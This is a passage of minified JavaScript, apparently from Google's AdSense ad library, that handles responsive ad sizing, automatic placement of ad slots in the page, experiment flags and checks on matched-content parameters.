g:"229739147"},jg={c:"20040012",g:"20040013"},kg={c:"151527201",T:"151527221",L:"151527222",K:"151527223",I:"151527224",J:"151527225"},P={c:"151527001",T:"151527021",L:"151527022",K:"151527023",I:"151527024",J:"151527025"},lg={c:"151527002",aa:"151527006",ba:"151527007"};function mg(){this.wasPlaTagProcessed=!1;this.wasReactiveAdConfigReceived={};this.adCount={};this.wasReactiveAdVisible={};this.stateForType={};this.reactiveTypeEnabledInAsfe={};this.isReactiveTagFirstOnPage=this.wasReactiveAdConfigHandlerRegistered=this.wasReactiveTagRequestSent=!1;this.reactiveTypeDisabledByPublisher={};this.tagSpecificState={};this.adRegion=null;this.improveCollisionDetection=0;this.messageValidationEnabled=!1}function ng(a){a.google_reactive_ads_global_state||(a.google_reactive_ads_global_state=new mg);return a.google_reactive_ads_global_state};function og(a){a=a.document;var b={};a&&(b="CSS1Compat"==a.compatMode?a.documentElement:a.body);return b||{}}function Q(a){return og(a).clientWidth};function pg(a,b){for(var c=["width","height"],d=0;d<c.length;d++){var e="google_ad_"+c[d];if(!b.hasOwnProperty(e)){var f=F(a[c[d]]);f=null===f?null:Math.round(f);null!=f&&(b[e]=f)}}}function qg(a,b){return!((hc.test(b.google_ad_width)||gc.test(a.style.width))&&(hc.test(b.google_ad_height)||gc.test(a.style.height)))}function rg(a,b){return(a=sg(a,b))?a.y:0}function sg(a,b){try{var c=b.document.documentElement.getBoundingClientRect(),d=a.getBoundingClientRect();return{x:d.left-c.left,y:d.top-c.top}}catch(e){return null}}function tg(a,b){do{var c=$b(a,b);if(c&&"fixed"==c.position)return!1}while(a=a.parentElement);return!0}function ug(a){var b=0,c;for(c in uf)-1!=a.indexOf(c)&&(b|=uf[c]);return b}function vg(a,b,c,d,e){if(Lc(a)!=a)return Mc(a)?3:16;if(!(488>Q(a)))return 4;if(!(a.innerHeight>=a.innerWidth))return 5;var f=Q(a);if(!f||(f-c)/f>d)a=6;else{if(c="true"!=e.google_full_width_responsive)a:{c=Q(a);for(b=b.parentElement;b;b=b.parentElement)if((d=$b(b,a))&&(e=F(d.width))&&!(e>=c)&&"visible"!=d.overflow){c=!0;break a}c=!1}a=c?7:!0}return a}function wg(a,b,c,d){var e=vg(b,c,a,.3,d);if(!0!==e)return e;e=Q(b);a=e-a;a=e&&0<=a?!0:e?-10>a?11:0>a?14:12:10;return"true"==d.google_full_width_responsive||tg(c,b)?a:9}function xg(a,b,c){"rtl"==b?a.style.marginRight=c:a.style.marginLeft=c}function yg(a,b){if(3==b.nodeType)return/\S/.test(b.data);if(1==b.nodeType){if(/^(script|style)$/i.test(b.nodeName))return!1;try{var c=$b(b,a)}catch(d){}return!c||"none"!=c.display&&!("absolute"==c.position&&("hidden"==c.visibility||"collapse"==c.visibility))}return!1}function zg(a,b,c){a=sg(b,a);return"rtl"==c?-a.x:a.x}function Ag(a,b,c,d,e,f){var g=J(a,Kf.g);var h=J(a,Kf.c);if(g||h)f.ovlp=!0;if(g){if(e=b.parentElement)if(e=$b(e,a))b.style.width=Q(a)+"px",e=e.direction,xg(b,e,"0px"),c=zg(a,b,e),xg(b,e,-1*c+"px"),a=zg(a,b,e),0!==a&&a!==c&&xg(b,e,c/(a-c)*c+"px"),b.style.zIndex=30}else if(a=$b(c,a)){g=F(a.paddingLeft)||0;a=a.direction;d=e-d;if(f.google_ad_resize)c=-1*(d+g)+"px";else{for(h=f=0;100>h&&c;h++)f+=c.offsetLeft+c.clientLeft-c.scrollLeft,c=c.offsetParent;c=f+g;c="rtl"==a?-1*(d-c)+"px":-1*c+"px"}xg(b,a,c);b.style.width=e+"px";b.style.zIndex=30}};function R(a,b){this.b=a;this.a=b}l=R.prototype;l.minWidth=function(){return this.b};l.height=function(){return this.a};l.M=function(a){return 300<a&&300<this.a?this.b:Math.min(1200,Math.round(a))};l.ea=function(a){return this.M(a)+"x"+this.height()};l.Z=function(){};function Bg(a,b,c,d){d=void 0===d?function(f){return f}:d;var e;return a.style&&a.style[c]&&d(a.style[c])||(e=$b(a,b))&&e[c]&&d(e[c])||null}function Cg(a){return function(b){return b.minWidth()<=a}}function Dg(a,b,c,d){var e=a&&Eg(c,b),f=Fg(b,d);return function(g){return!(e&&g.height()>=f)}}function Gg(a){return function(b){return b.height()<=a}}function Eg(a,b){return rg(a,b)<og(b).clientHeight-100}function Hg(a,b){a=rg(a,b);b=og(b).clientHeight;return 0==b?null:a/b}function Ig(a,b){var c=Infinity;do{var d=Bg(b,a,"height",F);d&&(c=Math.min(c,d));(d=Bg(b,a,"maxHeight",F))&&(c=Math.min(c,d))}while((b=b.parentElement)&&"HTML"!=b.tagName);return c}function Jg(a,b){var c=Bg(b,a,"height",F);if(c)return c;var d=b.style.height;b.style.height="inherit";c=Bg(b,a,"height",F);b.style.height=d;if(c)return c;c=Infinity;do(d=b.style&&F(b.style.height))&&(c=Math.min(c,d)),(d=Bg(b,a,"maxHeight",F))&&(c=Math.min(c,d));while((b=b.parentElement)&&"HTML"!=b.tagName);return c}function Fg(a,b){var c=a.google_unique_id;return b&&0==("number"===typeof c?c:0)?Math.max(250,2*og(a).clientHeight/3):250};function Kg(a,b){for(var c=[],d=a.length,e=0;e<d;e++)c.push(a[e]);c.forEach(b,void 0)};function Lg(a){if(1!=a.nodeType)var b=!1;else if(b="INS"==a.tagName)a:{b=["adsbygoogle-placeholder"];a=a.className?a.className.split(/\s+/):[];for(var c={},d=0;d<a.length;++d)c[a[d]]=!0;for(d=0;d<b.length;++d)if(!c[b[d]]){b=!1;break a}b=!0}return b};function Mg(a,b){for(var c=0;c<b.length;c++){var d=b[c],e=yb(d.$a);a[e]=d.value}};function Ng(a,b,c,d){this.h=a;this.b=b;this.f=c;this.a=d}function Og(a,b){var c=[];try{c=b.querySelectorAll(a.h)}catch(g){}if(!c.length)return[];b=c;c=b.length;if(0<c){for(var d=Array(c),e=0;e<c;e++)d[e]=b[e];b=d}else b=[];b=Pg(a,b);pa(a.b)&&(c=a.b,0>c&&(c+=b.length),b=0<=c&&c<b.length?[b[c]]:[]);if(pa(a.f)){c=[];for(d=0;d<b.length;d++){e=Qg(b[d]);var f=a.f;0>f&&(f+=e.length);0<=f&&f<e.length&&c.push(e[f])}b=c}return b}Ng.prototype.toString=function(){return JSON.stringify({nativeQuery:this.h,occurrenceIndex:this.b,paragraphIndex:this.f,ignoreMode:this.a})};function Pg(a,b){if(null==a.a)return b;switch(a.a){case 1:return b.slice(1);case 2:return b.slice(0,b.length-1);case 3:return b.slice(1,b.length-1);case 0:return b;default:throw Error("Unknown ignore mode: "+a.a);}}function Qg(a){var b=[];Kg(a.getElementsByTagName("p"),function(c){100<=Rg(c)&&b.push(c)});return b}function Rg(a){if(3==a.nodeType)return a.length;if(1!=a.nodeType||"SCRIPT"==a.tagName)return 0;var b=0;Kg(a.childNodes,function(c){b+=Rg(c)});return b}function Sg(a){return 0==a.length||isNaN(a[0])?a:"\\"+(30+parseInt(a[0],10))+" "+a.substring(1)};function Tg(a){if(!a)return null;var b=y(a,7);if(y(a,1)||a.X()||0<y(a,4).length){var c=a.X(),d=y(a,1),e=y(a,4);b=y(a,2);var f=y(a,5);a=Ug(y(a,6));var g="";d&&(g+=d);c&&(g+="#"+Sg(c));if(e)for(c=0;c<e.length;c++)g+="."+Sg(e[c]);b=(e=g)?new Ng(e,b,f,a):null}else b=b?new Ng(b,y(a,2),y(a,5),Ug(y(a,6))):null;return b}var Vg={1:1,2:2,3:3,0:0};function Ug(a){return null!=a?Vg[a]:a}var Wg={1:0,2:1,3:2,4:3};function Xg(){this.a={};this.b={}}Xg.prototype.add=function(a){this.a[a]=!0;this.b[a]=a};Xg.prototype.contains=function(a){return!!this.a[a]};function Yg(){this.a={};this.b={}}Yg.prototype.set=function(a,b){this.a[a]=b;this.b[a]=a};Yg.prototype.get=function(a,b){return void 0!==this.a[a]?this.a[a]:b};function Zg(){this.a=new Yg}Zg.prototype.set=function(a,b){var c=this.a.get(a);c||(c=new Xg,this.a.set(a,c));c.add(b)};function $g(a,b){function c(){d.push({anchor:e.anchor,position:e.position});return e.anchor==b.anchor&&e.position==b.position}for(var d=[],e=a;e;){switch(e.position){case 1:if(c())return d;e.position=2;case 2:if(c())return d;if(e.anchor.firstChild){e={anchor:e.anchor.firstChild,position:1};continue}else e.position=3;case 3:if(c())return d;e.position=4;case 4:if(c())return d}for(;e&&!e.anchor.nextSibling&&e.anchor.parentNode!=e.anchor.ownerDocument.body;){e={anchor:e.anchor.parentNode,position:3};if(c())return d;e.position=4;if(c())return d}e&&e.anchor.nextSibling?e={anchor:e.anchor.nextSibling,position:1}:e=null}return d};function ah(a,b){this.b=a;this.a=b}function bh(a,b){var c=new Zg,d=new Xg;b.forEach(function(e){if(B(e,Xc,1)){e=B(e,Xc,1);if(B(e,Uc,1)&&B(B(e,Uc,1),Sc,1)&&B(e,Uc,2)&&B(B(e,Uc,2),Sc,1)){var f=ch(a,B(B(e,Uc,1),Sc,1)),g=ch(a,B(B(e,Uc,2),Sc,1));if(f&&g)for(f=ba($g({anchor:f,position:y(B(e,Uc,1),2)},{anchor:g,position:y(B(e,Uc,2),2)})),g=f.next();!g.done;g=f.next())g=g.value,c.set(Aa(g.anchor),g.position)}B(e,Uc,3)&&B(B(e,Uc,3),Sc,1)&&(f=ch(a,B(B(e,Uc,3),Sc,1)))&&c.set(Aa(f),y(B(e,Uc,3),2))}else B(e,Yc,2)?dh(a,B(e,Yc,2),c):B(e,Zc,3)&&eh(a,B(e,Zc,3),d)});return new ah(c,d)}function dh(a,b,c){B(b,Sc,1)&&(a=fh(a,B(b,Sc,1)))&&a.forEach(function(d){d=Aa(d);c.set(d,1);c.set(d,4);c.set(d,2);c.set(d,3)})}function eh(a,b,c){B(b,Sc,1)&&(a=fh(a,B(b,Sc,1)))&&a.forEach(function(d){c.add(Aa(d))})}function ch(a,b){return(a=fh(a,b))&&0<a.length?a[0]:null}function fh(a,b){return(b=Tg(b))?Og(b,a):null};function gh(a,b){var c=b.b-301,d=b.a+b.f+301,e=b.b+301,f=b.a-301;return!La(a,function(g){return g.left<d&&f<g.right&&g.top<e&&c<g.bottom})};function hh(a,b){if(!a)return!1;a=$b(a,b);if(!a)return!1;a=a.cssFloat||a.styleFloat;return"left"==a||"right"==a}function ih(a){for(a=a.previousSibling;a&&1!=a.nodeType;)a=a.previousSibling;return a?a:null}function jh(a){return!!a.nextSibling||!!a.parentNode&&jh(a.parentNode)};function kh(a,b){return a&&null!=y(a,4)&&b[y(B(a,ad,4),2)]?!1:!0}function lh(a){var b={};a&&y(a,6).forEach(function(c){b[c]=!0});return b}function mh(a,b,c,d){this.a=p;this.$=a;this.f=b;this.i=d||null;this.s=(this.w=c)?bh(p.document,C(c,Vc,5)):bh(p.document,[]);this.b=0;this.h=!1}function nh(a,b){if(a.h)return!0;a.h=!0;var c=C(a.f,bd,1);a.b=0;var d=lh(a.w);if(B(a.f,ld,15)&&Gb(B(a.f,ld,15),12)){var e=sf(a.a);e=null===e?null:C(e,pf,5);if(null!=e){var f=sf(a.a);f=null!==f&&null!=y(f,3)&&null!==Eb(f,3)?Eb(f,3):.3;var g=sf(a.a);g=null!==g&&null!=y(g,4)?Eb(g,4):1;f-=g;g=[];for(var h=0;h<e.length&&.05<=f&&4>(oh(a).numAutoAdsPlaced||0);h++){var k=y(e[h],1);if(null==k)break;var m=c[k],n=B(e[h],of,2);null!=n&&null!=Eb(n,1)&&null!=Eb(n,2)&&null!=Eb(n,3)&&(n=new nf(Eb(n,1),Eb(n,2),Eb(n,3)),gh(g,n)&&(k=ph(a,m,k,b,d),null!=k&&null!=k.V&&(k=k.V.getBoundingClientRect(),g.push(k),m=a.a,f-=k.width*k.height/(og(m).clientHeight*Q(m)))))}}return!0}e=sf(a.a);if(null!==e&&Gb(e,2))return oh(a).eatf=!0,mf(7,[!0,0,!1]),!0;for(e=0;e<c.length;e++)if(ph(a,c[e],e,b,d))return!0;mf(7,[!1,a.b,!1]);return!1}function ph(a,b,c,d,e){if(1!==y(b,8)||!kh(b,e))return null;var f=B(b,ad,4);if(f&&2==y(f,1)){a.b++;if(b=qh(a,b,d,e))d=oh(a),d.placement=c,d.numAutoAdsPlaced||(d.numAutoAdsPlaced=0),d.numAutoAdsPlaced++,mf(7,[!1,a.b,!0]);return b}return null}function qh(a,b,c,d){if(!kh(b,d)||1!=y(b,8))return null;d=B(b,Sc,1);if(!d)return null;d=Tg(d);if(!d)return null;d=Og(d,a.a.document);if(0==d.length)return null;d=d[0];var e=y(b,2);e=Wg[e];e=void 0!==e?e:null;var f;if(!(f=null==e)){a:{f=a.a;switch(e){case 0:f=hh(ih(d),f);break a;case 3:f=hh(d,f);break a;case 2:var g=d.lastChild;f=hh(g?1==g.nodeType?g:ih(g):null,f);break a}f=!1}if(c=!f&&!(!c&&2==e&&!jh(d)))c=1==e||2==e?d:d.parentNode,c=!(c&&!Lg(c)&&0>=c.offsetWidth);f=!c}if(!(c=f)){c=a.s;f=y(b,2);g=Aa(d);g=c.b.a.get(g);if(!(g=g?g.contains(f):!1))a:{if(c.a.contains(Aa(d)))switch(f){case 2:case 3:g=!0;break a;default:g=!1;break a}for(f=d.parentElement;f;){if(c.a.contains(Aa(f))){g=!0;break a}f=f.parentElement}g=!1}c=g}if(c)return null;f=B(b,$c,3);c={};f&&(c.za=y(f,1),c.na=y(f,2),c.Ha=!!Fb(f,3));f=B(b,ad,4)&&y(B(b,ad,4),2)?y(B(b,ad,4),2):null;f=ie(f);b=null==y(b,12)?null:y(b,12);b=he(a.i,f,null==b?null:new ge(null,{google_ml_rank:b}));f=a.a;a=a.$;var h=f.document;g=Rb((new Sb(h)).a,"DIV");var k=g.style;k.textAlign="center";k.width="100%";k.height="auto";k.clear=c.Ha?"both":"none";c.Pa&&Mg(k,c.Pa);h=Rb((new Sb(h)).a,"INS");k=h.style;k.display="block";k.margin="auto";k.backgroundColor="transparent";c.za&&(k.marginTop=c.za);c.na&&(k.marginBottom=c.na);c.Fa&&Mg(k,c.Fa);g.appendChild(h);c={da:g,V:h};c.V.setAttribute("data-ad-format","auto");g=[];if(h=b&&b.oa)c.da.className=h.join(" ");h=c.V;h.className="adsbygoogle";h.setAttribute("data-ad-client",a);g.length&&h.setAttribute("data-ad-channel",g.join("+"));a:{try{var m=c.da;switch(e){case 0:d.parentNode&&d.parentNode.insertBefore(m,d);break;case 3:var n=d.parentNode;if(n){var u=d.nextSibling;if(u&&u.parentNode!=n)for(;u&&8==u.nodeType;)u=u.nextSibling;n.insertBefore(m,u)}break;case 1:d.insertBefore(m,d.firstChild);break;case 2:d.appendChild(m)}Lg(d)&&(d.setAttribute("data-init-display",d.style.display),d.style.display="block");b:{var w=c.V;w.setAttribute("data-adsbygoogle-status","reserved");w.className+=" adsbygoogle-noablate";m={element:w};var z=b&&b.ua;if(w.hasAttribute("data-pub-vars")){try{z=JSON.parse(w.getAttribute("data-pub-vars"))}catch(H){break b}w.removeAttribute("data-pub-vars")}z&&(m.params=z);(f.adsbygoogle=f.adsbygoogle||[]).push(m)}}catch(H){(w=c.da)&&w.parentNode&&(z=w.parentNode,z.removeChild(w),Lg(z)&&(z.style.display=z.getAttribute("data-init-display")||"none"));w=!1;break a}w=!0}return w?c:null}function oh(a){return a.a.google_ama_state=a.a.google_ama_state||{}};function rh(){this.b=new sh(this);this.a=0}function th(a){if(0!=a.a)throw Error("Already resolved/rejected.");}function sh(a){this.a=a}function uh(a){switch(a.a.a){case 0:break;case 1:a.b&&a.b(a.a.h);break;case 2:a.f&&a.f(a.a.f);break;default:throw Error("Unhandled deferred state.");}};function vh(a,b){this.exception=b}function wh(a,b){this.f=p;this.a=a;this.b=b}wh.prototype.start=function(){this.h()};wh.prototype.h=function(){try{switch(this.f.document.readyState){case "complete":case "interactive":nh(this.a,!0);xh(this);break;default:nh(this.a,!1)?xh(this):this.f.setTimeout(Fa(this.h,this),100)}}catch(a){xh(this,a)}};function xh(a,b){try{var c=a.b,d=new vh(new tf(oh(a.a).numAutoAdsPlaced||0),b);th(c);c.a=1;c.h=d;uh(c.b)}catch(e){a=a.b,b=e,th(a),a.a=2,a.f=b,uh(a.b)}};function yh(a){me(a,{atf:1})}function zh(a,b){(a.google_ama_state=a.google_ama_state||{}).exception=b;me(a,{atf:0})};function Ah(){this.debugCard=null;this.debugCardRequested=!1};function Bh(a,b){if(!a)return!1;a=a.hash;if(!a||!a.indexOf)return!1;if(-1!=a.indexOf(b))return!0;b=Ch(b);return"go"!=b&&-1!=a.indexOf(b)?!0:!1}function Ch(a){var b="";Dc(a.split("_"),function(c){b+=c.substr(0,2)});return b};function Dh(a,b,c){var d="script";d=void 0===d?"":d;var e=a.createElement("link");try{e.rel="preload";if(eb("preload","stylesheet"))var f=Xa(b).toString();else{if(b instanceof Va)var g=Xa(b).toString();else{if(b instanceof hb)var h=jb(b);else{if(b instanceof hb)var k=b;else b="object"==typeof b&&b.f?b.b():String(b),kb.test(b)||(b="about:invalid#zClosurez"),k=lb(b);h=jb(k)}g=h}f=g}e.href=f}catch(m){return}d&&(e.as=d);c&&e.setAttribute("nonce",c);if(a=a.getElementsByTagName("head")[0])try{a.appendChild(e)}catch(m){}};function Eh(a){var b={},c={};return c.enable_page_level_ads=(b.pltais=!0,b),c.google_ad_client=a,c};function Fh(a){if(!a)return"";(a=a.toLowerCase())&&"ca-"!=a.substring(0,3)&&(a="ca-"+a);return a};function Gh(a,b){function c(d){try{var e=new Kb(d);return Ma(C(e,Mb,2),function(f){return 1==y(f,1)})}catch(f){return null}}b=void 0===b?"":b;a=Mc(a)||a;a=Hh(a);return b?(b=Fh(String(b)),a[b]?c(a[b]):null):Ma(Ka(Ta(a),c),function(d){return null!=d})}function Ih(a,b,c){function d(e){if(!e)return!1;e=new Kb(e);return y(e,3)&&Oa(y(e,3),b)}c=void 0===c?"":c;a=Mc(a)||a;if(Jh(a,b))return!0;a=Hh(a);return c?(c=Fh(String(c)),d(a[c])):Sa(a,d)}function Jh(a,b){a=(a=(a=a.location&&a.location.hash)&&a.match(/forced_clientside_labs=([\d,]+)/))&&a[1];return!!a&&Oa(a.split(","),b.toString())}function Hh(a){try{return mc({},JSON.parse(a.localStorage.getItem("google_adsense_settings")))}catch(b){return{}}};function Kh(a){var b=Ih(p,12,a.google_ad_client);a="google_ad_host"in a;var c=J(p,Ef.g),d=Bh(p.location,"google_ads_preview");return b&&!a&&c||d}function Lh(a){if(p.google_apltlad||Lc(p)!=p||!a.google_ad_client)return null;var b=Kh(a),c=!J(p,Gf.U);if(!b&&!c)return null;p.google_apltlad=!0;var d=Eh(a.google_ad_client),e=d.enable_page_level_ads;ec(a,function(f,g){Rc[g]&&"google_ad_client"!=g&&(e[g]=f)});b?e.google_ad_channel="AutoInsertAutoAdCode":c&&(e.google_pgb_reactive=7,"google_ad_section"in a||"google_ad_region"in a)&&(e.google_ad_section=a.google_ad_section||a.google_ad_region);return d}function Mh(a){return za(a.enable_page_level_ads)&&7==a.enable_page_level_ads.google_pgb_reactive};function ae(a){try{var b=I(p).eids||[];null!=b&&0<b.length&&(a.eid=b.join(","))}catch(c){}}function $d(a){a.shv=wc()}Vd.h=!xc;function Nh(a,b){return rg(b,a)+Bg(b,a,"height",F)};var Oh=new K(200,399,""),Ph=new K(400,499,""),Qh=new K(600,699,""),Rh=new K(700,799,""),Sh=new K(800,899,""),Th=new K(1,399,"3"),Uh=new K(0,999,"5"),Vh=new K(400,499,"6"),Wh=new K(500,599,""),Xh=new K(0,999,"7"),Yh=new K(0,999,"8");function Zh(a){a=void 0===a?p:a;return a.ggeac||(a.ggeac={})};function $h(){var a={};this[3]=(a[8]=function(b){return!!ta(b)},a[9]=function(b){b=ta(b);var c;if(c="function"==wa(b))b=b&&b.toString&&b.toString(),c=q(b)&&eb(b,"[native code]");return c},a[10]=function(){return window==window.top},a[16]=function(){return qc()},a[22]=function(){return pc()},a);a={};this[4]=(a[5]=function(b){b=Dd(window,void 0===b?"":b);return null!=b?b:void 0},a[6]=function(b){b=ta(b);return pa(b)?b:void 0},a);a={};this[5]=(a[2]=function(){return window.location.href},a[3]=function(){try{return window.top.location.hash}catch(b){return""}},a[4]=function(b){b=ta(b);return q(b)?b:void 0},a)}va($h);function ai(a){x(this,a,bi,null)}r(ai,v);var bi=[2];ai.prototype.X=function(){return A(this,1,0)};ai.prototype.W=function(){return A(this,7,0)};function ci(a){x(this,a,di,null)}r(ci,v);var di=[2];ci.prototype.W=function(){return A(this,5,0)};function ei(a){x(this,a,fi,null)}r(ei,v);function gi(a){x(this,a,hi,null)}r(gi,v);var fi=[1,2],hi=[2];gi.prototype.W=function(){return A(this,1,0)};var ii=[12,13];function ji(a,b){var c=this,d=void 0===b?{}:b;b=void 0===d.Ja?!1:d.Ja;var e=void 0===d.Oa?{}:d.Oa;d=void 0===d.Xa?[]:d.Xa;this.a=a;this.i=b;this.f=e;this.h=d;this.b={};(a=Fd())&&Ia(a.split(",")||[],function(f){(f=parseInt(f,10))&&(c.b[f]=!0)})}function ki(a,b){var c=[],d=li(a.a,b);d.length&&(9!==b&&(a.a=mi(a.a,b)),Ia(d,function(e){if(e=ni(a,e)){var f=e.X();c.push(f);a.h.push(f);(e=C(e,ze,2))&&Ne(e)}}));return c}function oi(a,b){a.a.push.apply(a.a,ca(Ja(Ka(b,function(c){return new gi(c)}),function(c){return!Oa(ii,c.W())})))}function ni(a,b){var c=De.j().a;if(!we(B(b,pe,3),c))return null;var d=C(b,ai,2),e=c?Ja(d,function(g){return we(B(g,pe,3),c)}):d,f=e.length;if(!f)return null;d=A(b,4,0);b=f*A(b,1,0);if(!d)return pi(a,e,b/1E3);f=null!=a.f[d]?a.f[d]:1E3;if(0>=f)return null;e=pi(a,e,b/f);a.f[d]=e?0:f-b;return e}function pi(a,b,c){var d=a.b,e=Ma(b,function(f){return!!d[f.X()]});return e?e:a.i?null:ac(b,c,!1)}function qi(a,b){N(Pe,function(c){a.b[c]=!0},b);N(Qe,function(c){return ki(a,c)},b);N(Re,function(){return a.h},b);N($e,function(c){return oi(a,c)},b)}function li(a,b){return(a=Ma(a,function(c){return c.W()==b}))&&C(a,ci,2)||[]}function mi(a,b){return Ja(a,function(c){return c.W()!=b})};function ri(){this.a=function(){}}va(ri);function si(){var a=$h.j();ri.j().a(a)};function ti(a,b){var c=void 0===c?Zh():c;c.hasOwnProperty("init-done")?(cf($e,c)(Ka(C(a,gi,2),function(d){return Jb(d)})),cf(af,c)(Ka(C(a,ze,1),function(d){return Jb(d)})),ui(c)):(qi(new ji(C(a,gi,2),b),c),df(c),ef(c),ff(c),ui(c),Ne(C(a,ze,1)),si())}function ui(a){var b=a=void 0===a?Zh():a;Df(Cf.j(),b);b=a;gf.j().a=cf(Te,b);ri.j().a=cf(bf,a)};function S(a,b){b&&a.push(b)}function vi(a,b){for(var c=[],d=1;d<arguments.length;++d)c[d-1]=arguments[d];d=Mc(a)||a;d=(d=(d=d.location&&d.location.hash)&&(d.match(/google_plle=([\d,]+)/)||d.match(/deid=([\d,]+)/)))&&d[1];return!!d&&La(c,Ga(eb,d))}function wi(a,b,c){for(var d=0;d<c.length;d++)if(vi(a,c[d]))return c[d];return ac(c,b)}function T(a,b,c,d,e,f){f=void 0===f?1:f;for(var g=0;g<e.length;g++)if(vi(a,e[g]))return e[g];f=void 0===f?1:f;0>=d?c=null:(g=new Cd(c,c+d-1),(d=d%f||d/f%e.length)||(d=b.b,d=!(d.start<=g.start&&d.a>=g.a)),d?c=null:(a=Dd(a,b.a),c=null!==a&&g.start<=a&&g.a>=a?e[Math.floor((a-c)/f)%e.length]:null));return c};function xi(a,b,c){if(Wb(a.document.getElementById(b).contentWindow))a=a.document.getElementById(b).contentWindow,b=a.document,b.body&&b.body.firstChild||(/Firefox/.test(navigator.userAgent)?b.open("text/html","replace"):b.open(),a.google_async_iframe_close=!0,b.write(c));else{a=a.document.getElementById(b).contentWindow;c=String(c);b=['"'];for(var d=0;d<c.length;d++){var e=c.charAt(d),f=e.charCodeAt(0),g=d+1,h;if(!(h=wb[e])){if(!(31<f&&127>f))if(f=e,f in xb)e=xb[f];else if(f in wb)e=xb[f]=wb[f];else{h=f.charCodeAt(0);if(31<h&&127>h)e=f;else{if(256>h){if(e="\\x",16>h||256<h)e+="0"}else e="\\u",4096>h&&(e+="0");e+=h.toString(16).toUpperCase()}e=xb[f]=e}h=e}b[g]=h}b.push('"');a.location.replace("javascript:"+b.join(""))}};var yi=null;function U(a,b,c,d){d=void 0===d?!1:d;R.call(this,a,b);this.Y=c;this.Ma=d}ka(U,R);U.prototype.ha=function(){return this.Y};U.prototype.Z=function(a,b,c,d){if(!c.google_ad_resize){d.style.height=this.height()+"px";b=J(a,Of.c)||"ca-pub-9118350542306317"===c.google_ad_client;d=yf(197)?!J(a,Of.c):J(a,Of.B);var e=J(a,P.c),f=J(a,P.T)||J(a,P.L)||J(a,P.K)||J(a,P.I)||J(a,P.J);if(J(a,Of.c)||J(a,Of.B)||e||f)c.ovlp=!0;b?c.rpe=!1:d&&(c.rpe=!0)}};function zi(a){return function(b){return!!(b.Y&a)}};var Ai=zb("script");function Bi(a,b,c,d,e,f,g,h,k,m,n,u,w,z){this.sa=a;this.a=b;this.Y=void 0===c?null:c;this.f=void 0===d?null:d;this.ja=void 0===e?null:e;this.b=void 0===f?null:f;this.h=void 0===g?null:g;this.w=void 0===h?!1:h;this.$=void 0===k?!1:k;this.Aa=void 0===m?null:m;this.Ba=void 0===n?null:n;this.i=void 0===u?null:u;this.s=void 0===w?null:w;this.Ca=void 0===z?null:z;this.ka=this.xa=this.ta=null}function Ci(a,b,c){null!=a.Y&&(c.google_responsive_formats=a.Y);null!=a.ja&&(c.google_safe_for_responsive_override=a.ja);null!=a.b&&(!0===a.b?c.google_full_width_responsive_allowed=!0:(c.google_full_width_responsive_allowed=!1,c.gfwrnwer=a.b));null!=a.h&&!0!==a.h&&(c.gfwrnher=a.h);a.w&&(c.google_bfa=a.w);a.$&&(c.ebfa=a.$);var d=a.s||c.google_ad_width;null!=d&&(c.google_resizing_width=d);d=a.i||c.google_ad_height;null!=d&&(c.google_resizing_height=d);d=a.a.M(b);var e=a.a.height();c.google_ad_resize||(c.google_ad_width=d,c.google_ad_height=e,c.google_ad_format=a.a.ea(b),c.google_responsive_auto_format=a.sa,null!=a.f&&(c.armr=a.f),c.google_ad_resizable=!0,c.google_override_format=1,c.google_loader_features_used=128,!0===a.b&&(c.gfwrnh=a.a.height()+"px"));null!=a.Aa&&(c.gfwroml=a.Aa);null!=a.Ba&&(c.gfwromr=a.Ba);null!=a.i&&(c.gfwroh=a.i);null!=a.s&&(c.gfwrow=a.s);null!=a.Ca&&(c.gfwroz=a.Ca);null!=a.ta&&(c.gml=a.ta);null!=a.xa&&(c.gmr=a.xa);null!=a.ka&&(c.gzi=a.ka);b=Jc();b=Mc(b)||b;Bh(b.location,"google_responsive_slot_debug")&&(c.ds="outline:thick dashed "+(d&&e?!0!==a.b||!0!==a.h?"#ffa500":"#0f0":"#f00")+" !important;");!Bh(b.location,"google_responsive_dummy_ad")||!Oa([1,2,3,4,5,6,7,8],a.sa)&&1!==a.f||c.google_ad_resize||2===a.f||(a=JSON.stringify({googMsgType:"adpnt",key_value:[{key:"qid",value:"DUMMY_AD"}]}),c.dash="<"+Ai+">window.top.postMessage('"+a+"', '*');\n </"+Ai+'>\n <div id="dummyAd" style="width:'+d+"px;height:"+e+'px;\n background:#ddd;border:3px solid #f00;box-sizing:border-box;\n color:#000;">\n <p>Requested size:'+d+"x"+e+"</p>\n <p>Rendered size:"+d+"x"+e+"</p>\n </div>")};/* Copyright 2019 The AMP HTML Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS-IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ var Di={},Ei=(Di.image_stacked=1/1.91,Di.image_sidebyside=1/3.82,Di.mobile_banner_image_sidebyside=1/3.82,Di.pub_control_image_stacked=1/1.91,Di.pub_control_image_sidebyside=1/3.82,Di.pub_control_image_card_stacked=1/1.91,Di.pub_control_image_card_sidebyside=1/3.74,Di.pub_control_text=0,Di.pub_control_text_card=0,Di),Fi={},Gi=(Fi.image_stacked=80,Fi.image_sidebyside=0,Fi.mobile_banner_image_sidebyside=0,Fi.pub_control_image_stacked=80,Fi.pub_control_image_sidebyside=0,Fi.pub_control_image_card_stacked=85,Fi.pub_control_image_card_sidebyside=0,Fi.pub_control_text=80,Fi.pub_control_text_card=80,Fi),Hi={},Ii=(Hi.pub_control_image_stacked=100,Hi.pub_control_image_sidebyside=200,Hi.pub_control_image_card_stacked=150,Hi.pub_control_image_card_sidebyside=250,Hi.pub_control_text=100,Hi.pub_control_text_card=150,Hi);function Ji(a){var b=0;a.C&&b++;a.u&&b++;a.v&&b++;if(3>b)return{A:"Tags data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num should be set together."};b=a.C.split(",");var c=a.v.split(",");a=a.u.split(",");if(b.length!==c.length||b.length!==a.length)return{A:'Lengths of parameters data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num must match. Example: \n data-matched-content-rows-num="4,2"\ndata-matched-content-columns-num="1,6"\ndata-matched-content-ui-type="image_stacked,image_card_sidebyside"'};if(2<b.length)return{A:"The parameter length of attribute data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num is too long. At most 2 parameters for each attribute are needed: one for mobile and one for desktop, while you are providing "+(b.length+' parameters. Example: \n 